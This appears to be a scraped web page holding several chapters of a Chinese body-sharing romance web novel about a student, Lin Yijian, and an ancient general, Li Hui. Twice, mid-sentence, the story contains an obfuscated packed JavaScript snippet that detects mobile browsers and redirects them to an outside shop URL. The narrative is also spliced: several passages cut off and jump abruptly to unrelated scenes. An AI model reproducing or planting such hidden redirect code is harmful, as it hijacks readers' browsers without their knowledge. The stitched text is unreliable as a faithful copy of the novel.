吴仁辅恍然接了这么一句,但很快又拧起了眉头,“可怎么也轮不到李惟昭啊?” 安思范麾下将领何其多?论资历论年限,哪里轮得着李惟昭这毛头小子?甚至论和安思范的亲近程度,李惟昭都排不上号。 他可是姓“李”的! 连名都没改,可见在诸多义子中,也不是亲近的那类型。 吴仁辅还拧眉思索,就见吴恪表情极淡地笑了下,“本来是轮不到的。” 吴仁辅一愣。 ——什么叫“本来轮不到”? 他心底生出点猜测,忍不住抬头去看吴恪。 吴恪见状轻颔了一下首。 倒也不是个蠢人。 吴恪:“你好好想想罢。” 本来轮不到,但是有了吴家鼎力相助,可就不一定了。 ——奇货可居。 就是不知道这笔风险极大收益也不小的买卖,他这个便宜族侄愿不愿意做了。 * 现在正在林一简这里的李晦还不知道,自己被当成了可居的奇货。 他正满心莫名其妙,并哀叹着小姑娘的心思真难懂。 两人之间的气氛本来在食堂找座位的时候已经有所缓和,结果吃饭的时候欧阳艺拿出了手机,翻出了已经学校论坛上爆火的跑酷视频,并且热情和林一简分享。 林一简:[……] 李晦很快就发现了林一简的情绪变化,他不能理解:[这有什么可不高兴的?] 底下的人可都在夸她唉。 林一简面无表情,语气冷淡,[我没有不高兴。] 她有什么可不高兴的?气都气过了,拍也被拍下来了,现在补救什么都晚了,而且这件事最开始还是她要求的,责任一半一半吧,又不能全怪对方。 ……万幸视频拍得比较糊,她没被认出来了。 李晦:[……] 分明就在不高兴吧,问还不承认。 这么气氛微僵的一直到了晚上,还是李晦出声:[你上次不是说跑步吗?现在跑吗?再晚点我就回去了。] 林一简顿了一下,语气有点僵硬地应了声。 她站起来去换跑鞋,到底小声补了一句,[麻烦你了。] 李晦:……不是吧?这会儿还谢? 那种“好像发现什么新物种”的情绪在心头徘徊,林一简忍了又忍,还是抵不住开口,[怎么了啊?] 李晦还没来得及回答,旁边叶竺妍先一步转身,“一简,你要出去啊?” 林一简点了下头,“我去跑个步。” 她说着人已经到了门口,准备交接身体控制权了,却不料—— “小简简~~” 叶竺妍捧着手机凑过来的功夫,李晦已经接过主导权。一下子被凑得这么近,他按捺住下意识动手的意愿往侧边躲开,定了定神才隐下那不适的表情,勉强按照林一简的语气问:“怎么了?” 毕竟是同一个声线,叶竺妍倒是没察觉异样。 她把打卡APP的界面调出来,笑得略显谄媚,“你既然去跑了,帮我一起把卡打了呗?” 李晦没答话,林一简也愣了一下。 但是也只一瞬,林一简很快回神,对李晦:[算了,这次我自己跑吧……] 她明显感觉李晦对这请托的冷淡态度。 说起来也对,这毕竟是她的室友,和李晦又没什么关系,对方不愿意帮忙很正常。 林一简还没说完,那边叶竺妍已经接着,“上次Y家的奶茶你不是很喜欢吗?明天我请你!” “好!” 林一简根本没反应过来,就听见自己的声音一口答应,然后紧接着问,“锁屏密码多少?” 林一简:??? 不是,这答应得也太快了吧?而且你一个古代人,为什么这么熟练,居然还记得要锁屏密码?要不要这么周到? 叶竺妍像是被提醒了一样“哦哦哦”的点头应声,凑过来给林一简演示锁屏图案。 李晦不着痕迹地拉开了点距离,瞄了两眼,点头示意“知道了”,叶竺妍正满心高兴,根本没在意这怪异的冷淡态度。 倒是旁边的冯歆悦,正好目睹了这场的“罪恶交易”。 李晦对人视线一向敏.感,不由抬头。 目光对上,冯歆悦顿了一下,试探开口,“O记的半熟芝士,一简你爱吃吗?” 李晦:“吃。” 林一简:……你倒真是不客气啊。 然而这还不是结束,像是听到下面的动静,上铺拉紧床帘内传来一阵翻腾的声音。 少顷,帘子里探出一个脑袋,“一简,你要跑步啊?” …… ………… 最后林一简带着热量爆.炸的“卡路里许诺”,还有多出来的三块手机下了楼。 她有点怨念,[……你还真是不客气啊。] 居然全都答应下来了。 李晦浑不在意地笑了声,[有什么关系?] 林一简小声嘟囔,[这么说也是啦……] 确实没错,大家都不是在意那点吃的的人。但是顺便帮忙跑个步而已,还蹭吃蹭喝,而且李晦这都不是“蹭吃蹭喝”、是“大吃大喝”了。 林一简还在心底嘀咕这些,却听李晦道:[你根本不会拒绝人吧?] 林一简一愣。 这骤然的沉默中,李晦像是看破了什么一样,哼笑了声。 还不等林一简想出什么结论,就听李晦接着,[我这也是帮你朋友跑步了,你呢?就没什么感谢表示吗?学校的钵仔糕味道不错,正好今天跑的时候经过……] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095450|135747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林一简:??? 林一简:[做梦去吧!] 别太过分啊! 都已经坑了她室友三份了,还想从她这多敲一点,两头捞也没有这样的啊?! 李晦不太在意地低笑了一声。 看,拒绝他这不是挺爽快的吗? * 然而李晦这愉快的心情并没有持续多久,他下楼跑了没多一会儿,速度就渐渐慢了下来。又过片刻,更是彻底停在了路边,就那么站着不动了。 林一简奇怪:[怎么了?] 李晦闷不吭声了好一会儿,才语气别扭地,[有点晃。] 林一简费解:[手机吗?你别放在同一侧兜里,一边放两块,那不就不会撞了?] 李晦:[不是。] 他这么干巴巴挤出两个字,又不说话了。 林一简简直满脑子问号。 还带着点冬意的冷风吹着树枝发出簌簌的响声,连偶尔经过的情侣都快步走过,在这尴尬的静谧中,林一简终于慢一步地领会到了什么,顿时也僵住了。 但是这么一直相顾无言下去也不是个事。 林一简迟疑了一下,小声:[我觉得……还好?] 毕竟是冬天么,穿得那么厚也看不出来什么,所以她就图方面没有穿。 反正她的cup也没有大到影响日常生活的地步,跑步的时候确实会明显一点,但是习惯了也……没什么吧。 李晦不吭声。 林一简:[……] 这诡异的沉默实在太磨人了,林一简坚持了一会儿就受不了,[好了好了!我知道啦!] * 401寝室。 叶竺妍:“一简,你怎么回来了?这么快?跑完了?” 林一简:“没,我来换件衣服。” 一回生二回熟,有了开学前的那次经历,这次林一简熟门熟路地闭眼换上。 说实话,林一简早就看开了。 开学毕竟不比在家,从第一次忍不住去卫生间之后,她就半是自暴自弃了……爱咋咋地!她总不能一直忍着不喝水!! …… 第二天一早,床帘还没有拉开,里面就传来一声痛苦的呻吟声。 林一简呼气吸气,艰难地从床上翻了下来。 一个寒假没有运动,突然这么一跑,全身酸痛是预料之中。但是很明显,李晦对这个身体的身体素质认知有点误解,林一简现在就像是被人打过一顿似的,全身都在疼。 因为提前有心理准备,林一简对此的接受状况还算良好。 但是等她费劲完成洗漱,历尽艰辛到了食堂,筷子夹了三次都没把面条夹起来的时候,还是忍不住盯着着自己发抖的手陷入迷思。 按理说跑个步,应该不至于连手…… 一下子想起了李晦昨天的壮举,林一简思绪一滞、陷入沉默。 Ok, fine! 这很正常。 该生的气昨天已经生完了,林一简迅速做好了心理建设。 但是等她艰难完成了早饭,到达教学楼的那一刻,还是破防了。 楼内的告示栏,崭新张贴着一张新鲜打印的A4纸—— 【通报批评,昨日下午十五点四十八分,某同学于第五教学楼……】 林一简盯着告示上那个视频截出的模糊身影陷入沉默。 别说她人生前二十年,就算再往后拨二十年,她也想象不出自己会遭遇这种事。 ……全校通报批评。 啊啊啊李惟昭!! 你过来给我道歉!!! 15.第 15 章 锦平城。 因为吴家极力相邀,李晦之后也可有可无地赴了一次宴。他自己没觉得有什么,但跟随赴宴的杜彦之却恍然大悟,觉得先前的一切疑惑都有了解释。 ——他们在吴家的院子的时候,意外撞见了吴家的小女儿。 吴家院落宽阔占地又广,光是招待来客的院子就独占一隅,女眷都在内宅,哪有那么多“意外”?再瞧那吴家小女儿含羞带怯的神色,明显是有点什么。 怪不得吴家态度那么奇怪,原是瞧上了李晦这个人! 杜彦之诧异过后,倒觉得理所当然。 就李晦如锦平后的种种表现,显然不是只知兵事的莽夫,在吴家赴宴时,更是从容自若气度不凡。如此少年英才,吴家愿意拉拢也是常理。 倒是一门好亲事,就是不知道李晦对此的态度如何。 不过这事他一个外人不好直接去问,李晦这边又没什么长辈。 杜彦之想了想,干脆把这事交给了赵敦益——论亲疏远近,还是这位常年跟着李晦的副将最合适。 赵敦益也确实去问了,问得李晦满脸茫然。 “亲事?什么亲事?” 赵敦益无奈:“你也老大不小了,就没想着身边要个知冷热的贴心人?” 李晦懵了好一会儿,忍不住露出点“你在说什么鬼话”的怀疑表情。 赵敦益:“……” 他想着杜彦之那“喜怒不形于色”“让人无从揣摩心意”的评价,心底就是一哽。屁的“不形于色”!他是根本没懂人家的意思吧? 倒是那边的李晦终于反应过来赵敦益的意思。 他脑海里不自觉地浮现了林家除夕夜的的对话,又想起那天视频里看见的面容,下意识回,“还早呢,不着急。” 赵敦益:??? 还早?! 也就是李晦上头没有长辈,没人给他张罗,节帅又没把这些事放在心上,才放任他一个人孤家寡人过到现在。 一人吃饱全家不饿,他倒是过得还挺滋润。 赵敦益嘴角抽了抽,也不和李晦拐弯抹角了,直接道:“杜先生说,吴家多半有意结亲,他家的小女儿你也见过,觉得怎么样?要是行的话就给个意思,剩下的事我去张罗。” 这事指望李晦是指望不上了,赵敦益只能临时给人当个爹。 “我什么时候见过?” 李晦先是诧异,问出口后倒是终于反应过来,“你说那个不小心跑过来的小姑娘?” 赵敦益没跟着一块去吴家,不知道具体情况,但听这描述觉得差不多。 却不想,他刚待点头,就听李晦接着,“那怎么看都是个小孩吧?” 这次换赵敦益迷惑了,“啊?” 他来之前也去打听过,这吴家小女儿素有美名、又擅箜篌,虽说有吴家在锦平城的声名影响,但是也绝对是个待嫁闺中的镶金饽饽了。 但在李晦那带着十二万分理直气壮的“你到底靠不靠谱”的质疑下,赵敦益还真的自我怀疑起来。 难不成李晦看见的是吴家小女郎的妹妹?不太可能吧?都说是小女儿了,底下哪来的妹妹? 赵敦益试探着:“据我打听来的消息,这吴姑娘翻过年去就及笄了,年岁上正合适。” 李晦闻言撇嘴:“连初中生都不是。” 现学现卖的能力可谓十分过关了。 赵敦益:“啊?” 见对面人没接到梗,李晦一时也觉得没趣。 他意兴阑珊地摆了摆手,“行了,别瞎操心了,你这是让我结亲事呢?还是带孩子?少拿这破事来烦我。我还没问呢,你练兵练得怎么样了?兵书都喂嘴里,要这还不行,你趁早收拾收拾回去种地……” 赵敦益倒是很快回过神。 他给李晦当了这些年的副将,算是挺熟的。又因为年岁居长,在除兵事之外的地方,反而有点反过来照顾李晦的意思,私底下倒也没那么多顾忌,因而这会儿也没理李晦扯开话题的那套,直接问:“及笄都不行,那你要多大的?” “十八,起码要十九吧……” 李晦这么脱口而出,自己反而愣了一下。 再看看那边像是呆住了赵敦益,他又莫名生出些略带的气闷的怪异情绪,当即挥手赶人,“行了,我这还有事呢,你没什么别的事就出去吧。” 赵敦益这次倒没再说什么。 他声音发飘地应了“是”,心不在焉地走出去。 赵敦益就这么一路游游荡荡的、自个儿都没留心是往哪儿走,直到被杜彦之“赵将军”“赵将军”地叫了好几声,他才终于回过神来。 杜彦之瞧了两眼赵敦益的神情,问:“可是将军不愿?” 他这么问着,心底又觉奇怪。 按理说,就算李晦拒了亲事,这赵副将也不至于这反应啊? 赵敦益面色沉重地点点头。 在杜彦之满心困惑地追问下,他终于吞吞吐吐地吐露了“实情”,“将军……将军,他喜欢少妇。” 杜彦之:……? 赵敦益沉着表情对着对面颔了一下首,示意他没听错。 本朝律令,女子十五不嫁强行婚配,如今连年战乱,许人家的年纪只会比这更早。 十九? 孩子都满地跑了!! * 李晦是不知道背地里有这么个有关自己的流言传开,但在他的极度不配合下,吴家想做的这门“生意”还是没能做成。 杜彦之心底暗叹可惜。 不管是对李晦,还是对朔州这边,吴家都算得上门好亲事。 李晦浑然不觉,等到安思范派来接手锦平的人一到,他立刻拍拍屁股走人,半点多留恋的意思都没有,仿佛那几日彻夜不眠地处理锦平事务的是别人似的。 杜彦之:“……” 他觉得回头还是跟节帅提一提这事吧。 比起赵敦益那没谱的“喜欢少妇”,这瞧着更像没开窍啊…… 成家立业,人若是有了家室,也能更稳重些。 李晦还不知道有人正为自己的婚事操碎了心,他这会儿正在跟林一简做交涉,[都在学校闷了一周了,难得周末,你就不想出去转转?] 林一简干脆利落:[不想。] 知道对方想说什么,她非常坚决地堵回去,[周五下午是思政小组讨论,周六周日两天我都要赶漫画进度,没时间!] 前几天林一简给漫画查资料的时候,意外发现本市的博物馆有个冷兵器主题展,时间就在这周,五六日连着三天。 李晦当即就盯上了,这两天一直磨着林一简点头。 但问题是,虽说都在A市,从A大到博物馆光来回通勤都要四个小时,稍微仔细点逛逛,一天就没了,就算走马观花,也要半天时间。 刚开学本来就事情多,林一简身上还有个连载漫画,时间表排得满满当当,根本没那个功夫去闲逛。她是多想不开才答应李晦这要求?! 不过很显然,李晦不会就此放弃。 林一简都想着,如果李晦想让她的漫画开天窗,她该怎么回答呢,却不料对方开口,[那就周五上午。] 林一简:[啊?] 李晦仿佛很有打算,[我看周五上午就很好。到时候我早点过来,你也早点起床,去赶展览开场,在展馆里逛一上午,完事也好在外面吃个饭。下午回来,正好去你那什么小组讨论……] 这安排听起来还挺合理的,李晦说起来头头是道的,连吃饭都顾上了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126360|135747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但问题是—— 林一简:[我周五上午有课啊!] 还是五节满课。 [翘了嘛~] 李晦语气理所当然得让林一简都自我怀疑起来。 还没等林一简说什么,就听对方接着,[我观察过,那两门课都不点名吧?还都是大课,不去也发现不了……而且网上不都说了么,没有翘过课的大学人生是不完整。] 林一简:??? 这人是从哪看来的这些歪理?为什么你一个古代人,仿佛比我还懂的样子? 而且那两节课是不点名,但也不看看那是什么课啊?微积分和线性代数!!平时成绩完全是老师试图保证及格率的手段啊! 林一简噎了噎,一口否决,[总之不行!] 她这么说着,下意识地加快脚步、试图搜寻附近有什么能搭话的熟人来摆脱这个缠人精。 这一看还真看见了一个。 林一简正想过去,却听李晦道,[别去了,人家正打电话呢。] 林一简:[……] 她倒是相信李晦说的是实话。 这人的观察力实在有点离谱,明明看到的是同样的画面,对方总能做出更精准的判断……嗯、用在高峰期食堂找座位的时候尤其好使。 不过要真如李晦所说的,这会儿她还真不好过去。 沈瑶晗,是和林一简同专业的女生。 虽说林一简和对方不同班,但是整个电子信息的女生就那么几个,大家自然而然地熟了起来,林一简也知道沈瑶晗有个异地的男朋友,两人感情很好…… 林一简刚这么想着,就听那边声音一下子拔高,“又是这样!你来之前能不能跟我说一声?!” “惊喜?一点都不惊喜好不好?我这周六有家教……是,之前是周日,但是临时改的……怪我喽?你又没有告诉我!……” 林一简:“……” 看样子是吵架了。 她默默地后退一步,准备悄悄离开。但她还没能走开,就不知道通话的对面说了什么,沈瑶晗愤而挂了电话,恨恨地转过头来,正好和林一简对上了。 “……” “……” 四目相对,两个人都尬住了。 脑子里的声音还在说风凉话,[你看,我都说别过去了。] 林一简:[……闭嘴吧你!] 她很快收拾好表情,仿佛什么都没有发现一样打了个招呼,“好巧啊,瑶晗你也在。” 沈瑶晗也飞快回神,放低了声音,语气温柔道:“好巧。” 李晦“啧啧”了两声,不知是为两人这粉饰太平的举动、还是为对面的前后变脸感慨。 林一简眼皮跳了跳,没理那个看热闹不嫌事大的,对对面提出邀请,“我下午的课在303,准备提前过去?你呢?” 沈瑶晗连忙点头:“我也是。” 两人这么搭着话往上走。因为都是低层,两人直接走的楼梯,沈瑶晗的教室在二楼,准备分开的时候,林一简却被叫住了。 林一简有点意外的回头,却见沈瑶晗表情犹豫。 她踌躇了一下,开口:“一简……你这周六、有没有安排?” 林一简这几天被李晦磨得够呛,听见这个熟悉的时间点,简直条件反射地一口否认,“周六不行!” 这干脆又利落的拒绝一出,两边都愣住了。 尴尬无言的对视中,脑海里的闷笑声格外明显。 这毫不掩饰的愉快情绪实在很有幸灾乐祸的嫌疑,但林一简恼怒的情绪还没来得及酝酿起来,却听见那道低沉带笑的声音在意识响起—— [说个‘不’而已,有这么难吗?] 这不是说出来了吗? 16-20 第 16 章 第 16 章 不管李晦到底为什么笑,这会儿楼梯间的气氛实打实地尴尬到窒息。 林一简顾不得回答李晦,连忙放缓了语气补救,“抱歉,我的意思是,我周六有点事情,所以可能不行。” 沈瑶晗也像是终于反应过来,连连摆手,“没什么没什么,我就是问问。” 这场对话就这么半尴不尬地结束了,林一简往楼上走的时候,脑子还在不由自主地做场景回放,尴尬懊悔歉疚人际焦虑等等复杂难以仔细分辨的种种消极情绪在心底酝酿,整个人都很郁郁。 偏都这样了,脑子里的那个声音还在说风凉话。 [至于吗?你拒绝我那么多次,都没见得有什么反应。这会儿才对别人说了一个‘不’,就难受成这样?] 林一简不由反驳:[那能一样吗?] [哪里不一样?] [你那是胡搅蛮缠,人家是真的有事。] [哦?什么事?] [……] 在李晦那“仿佛真就问问”的平静语气下,林一简一下子哑了。李晦:“……” 她厌食。 李晦深吸口气,走得更快了。 这种追着人打听别人女朋友喜好的行为,要不是确定赵敦益确实没那个意思,他刀子都招呼上了。 赵敦益追上李晦的时候,后者正停在一个小摊贩前。 虽然云州各地仍旧不算安稳,但是李晦毕竟坐镇了云延半年,把周边劫掠的流寇收拾了不少,云延城内多少恢复了点州府所在的繁华景象,小摊小贩们也渐渐聚集成了集市。 但这半年的光景,也足够云延城的人认识这位新任的刺史了,故而李晦在这摊子前面一停,原本想过来的人都纷纷让路。没多一会儿,这就变成半个真空地带了。 这么显眼,追上来的赵敦益一下子就看见了。 但他刚打算上前,倒是瞧见了另一个人。 是杜彦之。身后还跟着两个眼熟的护卫,应该是李晦指派过去的。 赵敦益在原地顿了一下,到底是收拾烂摊子习惯了,觉得自己还是得替李晦描补描补,不能把关系搞那么僵。便上前一步,主动问候,“杜先生也来逛集市?” 杜彦之点点头,见赵敦益目光不自觉往他身后瞥,他笑了下,解释:“初来乍到,需要采买的东西不少,多亏了刺史指的这两名护卫,不然光搬东西就够让人头疼了。” 赵敦益:“……” 他试图从杜彦之脸上找出点勉强的神色,却意外发现对方好像真的挺满意的,仿佛真的把李晦安排的这两人当力工使了。 真是个怪人。 默默腹诽了这么一句,赵敦益客气回复:“先生言重了。” 本来就不太熟,赵敦益自觉两方没什么可谈的,主动打招呼维持完客套的面子情之后,便也准备出言道别,却不料杜彦之接着开口,“没想到二位也有闲情来逛市集,可是刺史府上缺了什么?” 赵敦益:“也没有,就没事逛逛。” 李晦多半就是被问烦了躲他呢,他追着人就到了这边。 赵敦益这么说着,往那边瞥了眼。微风拂过,摊子上的风车被吹得打转、悬挂的铜铃叮咚作响,布老虎的那双眼睛“凶狠”地盯着来客……是的,这是个玩具摊。 赵敦益一开始看见这场景的时候还惊掉下巴,到了现在已经见怪不怪了。 没看出来,李晦这么喜欢小孩,都到了云州了,还记挂着安恒德家的那几个侄子。 那边李晦摘下挂在旁边的铜铃掂了下重量,便不自觉地拧起了眉。 见李晦露出这表情,摊子后头的小贩也是眉心一跳。 但或许是次数多了习惯了,稍微定了定神,便稳住心神,主动开口招呼着,“刺史不如看看这边的泥哨?颜色鲜亮样式也多,说不准能挑到满意的。” 瞧着杜彦之若有所思地盯着眼前这一幕,赵敦益莫名尴尬,他打哈哈道:“别看他那样,他其实还挺喜欢小孩的。安虎骑家的那几个孩子都是跟着他混大的……” “是么?”杜彦之顿了顿,开口:“我瞧着刺史挑的、倒更像是姑娘家会喜欢的东西。” 那边摊子前面,李晦那边一手拿了个鸟雀形状的泥哨,一手拿了个兔子,似乎在掂量选哪一个。 这么说起来,好像确实有点像小姑娘会喜欢的东西。 她这么说着,略微放缓了语调,和林一简讲起了这里面大大小小的坑。 林一简也认真听着,偶尔询问一二。 至于说对面到底怎么拿到林一简私人信息的。 蒋书松叹了口气,“这不太好查,你签合同的时候用的是身份证和真名吧……” 林一简听明白了这未尽之语。以现在网络信息泄露的程度,名字和身份证的都知道了,对方从什么渠道拿到她联系方式都不奇怪。 蒋书松又道歉:“抱歉,应该是我在月下聊天的时候提起你的事了,不知道怎么传到游戏公司那边去了,不然他们也不会这么惦记上你。” “不用道歉。”林一简愣了下,连忙开口。 她顿了顿又放缓了语调,“应该是我说才对。谢谢你,蒋姐,一直以来都麻烦你了。” 不管别的地方怎么样,在漫画上面,她确实是任性、自我、还理想主义,一点都不是一个合格的商业漫画家。但是—— “蒋姐你会让我改稿,但却从来不强求我改变想法,我不想配合营销,就从来没有提过。我不喜欢的活动不会让我参加,类似这次寻觅的事,之前都是蒋姐帮我挡着了吧?” 蒋书松:“……” 她像是顿了一下,才一本正经,“这都是编辑的工作。” 林一简“噗”地一下笑出来,“总之,谢谢你蒋姐。当初是你捡到我,真是太好了。” …… 蒋书松挂了电话,原地冷静了会儿。 半晌,她才拍了拍脸,长出口气。 现在的小姑娘,真是不得了……该说不愧是恋爱漫画出道么。 她稍稍抬头,月下的编辑部的标识就在上方——云层遮蔽中,一轮弯月好梦正酣。 编辑这个职业,其实是梦幻与现实的接轨。 漫画家天马行空地编织梦境,资本永远着眼现实去追逐利益。一方是浪漫主义的虚幻,另一方却是着眼物质的现实,这就需要编辑的存在,它是隔绝的壁障、也是沟通的桥梁,将一个个幻想编织的美梦带到更多的人面前。 楼上的同事远远看见站在楼下的蒋书松,有点疑惑地打了个招呼。 蒋书松也笑着挥了挥手。 她无端地想起两人几年前的一场对话。 ‘干这行的,还是要点热情的……’ 说得也没错。罗氏有点意外,“怎么?你要是有事,也不必强留。” 李晦摇摇头。 顿了一下,又点头,“是有点事。” 罗氏以为是不方便同她透露的公事,目露了然,“你大哥一会儿就回来了,我去把书房收拾收拾,有什么事你们兄弟俩谈。” 却不料李晦却有些吞吐道:“不是,我是有些事想请教长嫂。” 罗氏这次真是奇了,“你说。” 李晦:“……” 他沉默了好一会儿,才磕磕巴巴,“要、要是姑娘家哭了……”他该怎么办! * 另一边。 没从吕奕骐那边得到靠谱答案,林一简就同样的问题询问了叶竺妍。叶竺妍的反应和前者差不多,大惊失色,“你居然会和人吵架?!” 林一简:“……” 这是什么反应啊?她也是有脾气的! 不过关系亲近还是有亲近的好处,林一简略过不能说的部分,把事情原原本本地和叶竺妍讲了一遍。 叶竺妍听后沉默了好一会儿,拧着眉喃喃:“居然是三观问题。” 这情况可比某件事上的争执难办多了,要叶竺妍来说,干脆断了算了。 “三观不同怎么做朋友”这话还是有点道理,这情况相处久了肯定会有摩擦,林一简这么软的性格,绝对是受欺负的那个。 但是叶竺妍看着旁边眼巴巴看过来的林一简,实在没法说出口。 她不得不问一句,“是很重要的朋友?” 林一简愣了愣,从意外相遇到对方这次沉默离开,期间相处的种种画面在脑海中浮光一样的闪过。 她停顿了一下,肯定地点头,“是。很重要的朋友。” 叶竺妍想了一会儿,叹气说:“那就没办法了。你去跟她说明白,讲清楚你的想法。如果真的是朋友的话,她会试着理解你,就算不能理解,也会尊重你的想法。” 她这么说着,同时也暗搓搓地挖了个坑。 ——听见没有,要是既“不理解”又“不尊重”,那肯定是假朋友,离得远点准没错!! 叶竺妍其实觉得林一简这个朋友有点过界了,正常“朋友”会管这么宽么?最多一块儿吐槽抱怨两句……不过看林一简的态度,或许是关系特别好的闺蜜? 虽然现代社会问题也挺多的,但这闺蜜的想法也太偏激了,也不知道林一简怎么和人交上朋友的。 林一简点点头应声,旋即陷入思索。 看着对面那冥思苦想的样子,叶竺妍觉得不行! 她还是有点了解林一简的,放任她自己一个人想来想去,最后绝对从自己身上找原因。 这么想着,叶竺妍当即开口打断对面思绪:“我认识的一个毕业的学姐开了个汉服写真工作室,她邀请我去看看,一简你要不要一起?” 起码她还是挺喜欢这份工作的。 * 这边林一简打完电话,满脸“你看吧”的意味,拿着手机在眼前晃了晃。 她就说李晦老把人往坏处想。 李晦轻哼了一声,对此不置可否。 这次没遇上,不代表下次也没有,运气好这种事又不能管一辈子。 林一简也发现了李晦的关注点,连同那意料之外的情绪。 她不自在地抬手轻轻碰了碰耳后,小声,[小组里的人临时有事,讨论推到晚上了,正好下午没事,去一下也没关系。] 这仿佛“专程去一趟”的说法怪怪的,林一简顿了顿,又下意识找了点别的理由,[……取材的话,还是亲眼去看看,才更容易画出来。] 李晦一时没有回答。 胸腔中奇怪的又满溢又轻盈的感觉充斥着,林一简尚觉莫名,就听见一道语调略微怪异的询问声,[你说‘和朋友约了’?] 林一简:[对啊,和‘朋友’。] 心跳似乎短暂地失序了一下,林一简下意识按上心口。 但还不等她仔细感知那情绪,就听见一道状似无奈的笑声,[你啊,长点心吧。早晚被人骗得骨头渣子都不剩。] 林一简:[……?] 什么鬼?你信不信我现在打道回府? 李晦还真不信。 他有点苦恼又有点高兴地想着:还能怎么办呢?只能他多看顾些。 谁让他是“朋友”呢? 第 17 章 第 17 章 因为要把林一简送回学校,李晦这次醒得晚了点。 临时驻营地都拆得差不多了,李晦要是再晚点醒,赵敦益都打算叫人了。不过就连这会儿,他也少不了暗自腹诽两句“心大”。 腹诽归腹诽,他还是尽职尽责地提醒,“你昨天带回来那人醒了。” 赵敦益到现在也没弄明白那人有什么身份,因为摸不准也不敢随便对待,只能半看管半是照顾地供起来,只等着李晦醒了再看看怎么处置。 却不料,李晦满脸不明所以,“什么人?” 赵敦益:??? 他噎了一下,也只得提醒,“你昨晚带回的那个,穿着一身道袍的。” 他辛辛苦苦照顾一宿,结果这人可倒好,睡了一觉就抛到脑后了。 赵敦益觉得自己在那儿思索那人身份的行为像是个傻子,保不齐就是李晦临时起意、觉得捡人有意思呢。 李晦确实没注意那人灰不溜秋的一身是道袍。 不过赵敦益说“昨晚”,他倒是想起来点:自己入睡前好像确实拎了个人回来的。 见李晦这一脸恍然,赵敦益越发确证了自己的猜测,一时脸色都有点发青。 早知道这样,他就随便找个帐子扔里头了,简直白费心血。 李晦倒是没在意赵敦益那脸色,他这会儿心情不错,听到这消息后想了想,干脆起身:“我过去看看。” 安恭义:“……” 这人被调包了吧?! 安恭义还有点回不过神来,倒是他旁边有人出言插话,“李刺史方才可有一言有误,安副使如今可非任都校,其年前已被节帅任为副手,如今朔方诸事尽皆仰赖安副使处置。” 李晦下意识看了眼上首的安思范,后者并未对此有什么反应,显然是认可的态度。 他略微拧了拧眉,但很快舒展开,对着对面笑道:“如此,倒是晦失敬了。” 安恭义僵笑:“……李刺史客气了。” 说实话,他不太敢喝。这酒里没毒吧? …… 一场宴席结束,李晦当然是跟着安恒德一块儿走的。 因为李晦宴上那表现,安恒德也憋了一肚子的问题想问,结果还没开口呢,就听李晦开口,“安恭义那狗日的怎么回事?宴上那么多人,就放着他在那乱吠?” 安恒德:“……” 确定了,人还是那个人没变。 他噎了一下,慢半拍意识到什么,问:“你刚才宴上那些话谁教的?” 李晦:……杜彦之。 想着临走的时候,对方千叮咛万嘱咐,甚至话里话外隐隐连林一简都带上了,就怕他当场呛声回去,李晦莫名觉得丢人,他又不是那么冲动的人。 李晦张了张嘴,果断把话咽下去,转移话题道:“那不重要。安恭义是怎么回事?让他当节度副使?!义父……”脑子没毛病吧? 安恒德眼皮一跳。 好在李晦还是有数的,这还刚出节度使府呢,他不至于大街上口无遮拦的。他把后面话咽下去,眼神催促着安恒德说。 安恒德只解释了一句:“他不掌兵权。” 李晦立刻就明白了过来,不由嗤笑了声。 他还道是什么呢?原来是被撑起来协调各方的空架子。 安恒德一眼就看出李晦想什么。 但真能协调得了那也是本事。他有心劝李晦收敛点,但过往无数次经验足够告诉他这多半没什么用。而且照李晦今天宴上的表现,他应该心里有数……吧? 安恒德怀着十二万分的不放心。 但眼见着快到自己府上,旁边李晦半点不见外地跟着往里走,他顿了下,到底开口提醒,“你也是、这段时间也别和我走得太近。左右你也待不了多久就回云州了,没必要搅和进来。” 李晦有点意外,他转头看向安恒德。 安恒德却怔了一下。……突然就有距离感了。 她沉默了一会儿,才颇有点没话找话意味地干巴巴开口:[你家好大。] [也就是大了。]李晦撇了撇嘴,怨气很大地开口,[冬天冷夏天热,天气不好的时候还下沙子。奶茶喝不到一杯不说,连烧烤调料都不全……] 林一简:[……] 这人脑子里就只有奶茶烧烤?! 追求就不能高级点? 起码是鱼子酱吧!——李惟昭他可快干点人事吧!! 勾搭小姑娘就算了,还这么不走心。 …… 林一简倒是没觉得男朋友的礼物有哪里不好。 要是真像一开始的金簪子她才要头疼,不可能在学校戴出去不说,而且她根本没法解释来历。大量贵重物品来历不明,林一简觉得自己离被上门查水表的日子不远了。 而且用凡尔赛一点的话说,林一简并不缺钱。 作为一个深度自闭的i人,她的日常开销极其有限,就算是刚刚签约的那段时间,稿费都足够覆盖她的开支。更别提两年前的那次新人赛名次不错,拿到奖金的同时也打响了名气,现在也算是业界小有名气的新锐漫画家了。 话虽如此,当被编辑询问游戏改编的版权意愿时,林一简还是有点意外。 对面的蒋书松失笑:[有这么惊讶吗?你的题材很适合游戏改编,最近种田游戏很火的,值得改编的作品不多,你可是很抢手的,已经有几家向月下透露意思了。放心,我肯定给你谈个好价格……] …… 游戏改编确实惊喜,但是林一简这会儿却高兴不起来。 